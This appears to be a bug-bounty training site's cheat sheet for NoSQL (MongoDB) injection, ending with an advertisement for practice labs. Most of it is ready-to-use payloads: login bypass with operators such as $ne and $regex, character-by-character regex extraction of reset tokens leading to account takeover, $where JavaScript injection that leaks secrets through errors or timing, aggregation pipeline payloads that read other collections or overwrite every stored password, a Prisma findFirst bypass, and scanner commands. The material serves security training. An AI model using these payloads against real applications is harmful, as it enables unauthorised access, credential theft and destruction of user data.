NoSQL Injection Cheatsheet
NoSQL Injection (MongoDB)
Quick reference
- →Always try the $ne, $gt, $regex operators in login parameters as your first test
- →$regex allows character-by-character extraction — ideal for tokens and passwords
- →Error-based extraction with $where: force a throw to include sensitive data in the error
- →$lookup in the aggregation pipeline lets you JOIN and read other collections
- →Prisma ORM: findFirst() is vulnerable to operator injection, findUnique() is not
Authentication bypass
URL format - $ne
username[$ne]=toto&password[$ne]=toto
URL format - $regex
username[$regex]=.*&password[$regex]=.*
URL format - $exists
username[$exists]=true&password[$exists]=true
JSON - $ne null
{"username": {"$ne": null}, "password": {"$ne": null}}JSON - $ne string
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}JSON - $gt undefined
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}JSON - $gt empty
{"username": {"$gt": ""}, "password": {"$gt": ""}}Operator injection
Not equals
username[$ne]=1&password[$ne]=1
Regex match
username[$regex]=^adm&password[$ne]=1
Regex lengthDetermine the field length
username[$regex]=.{25}&pass[$ne]=1Equals
username[$eq]=admin&password[$ne]=1
Less than
username[$ne]=admin&pass[$lt]=s
Greater than
username[$ne]=admin&pass[$gt]=s
Not in array
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
$in with multiple users
{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}$regex oracle - character-by-character extraction
Extract first characterIf the response differs, the field starts with A
{"token": {"$regex": "^A"}}Extract second characterContinue: ^Ab, ^Ac, ... until a match
{"token": {"$regex": "^Ab"}}Password reset token leak
1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATOOptimized binary searchReduce from ~127 to ~7 queries per character using binary ranges
{"password": {"$regex": "^[a-m]"}}$where and JavaScript injection
Basic $where
' || 1==1//
$where with null byte
' || 1==1%00
$where equals
'=='
Error-based extractionThe error message includes the secret value
{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}Time-based injection
admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'Sleep-based
';sleep(5000);
Injection in the aggregation pipeline
$lookup - JOIN to leak data
[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]$out - overwrite collectionOverwrites passwords for the entire collection
[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]Prisma findFirst bypassfindFirst is vulnerable, findUnique is not
{"username": {"not": "admin"}, "email": {"startsWith": "a"}}Tools
NoSQLMap
Automated NoSQL injection tool for MongoDB
python3 nosqlmap.py -u https://target.com/login -p username,password
nosqli
CLI NoSQL injection scanner with multiple techniques
nosqli scan -t https://target.com/api/login
Burp Suite + NoSQLi extension
Burp extension for automatic NoSQL injection detection
Burp > Extensions > NoSQL Injection
Related content
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime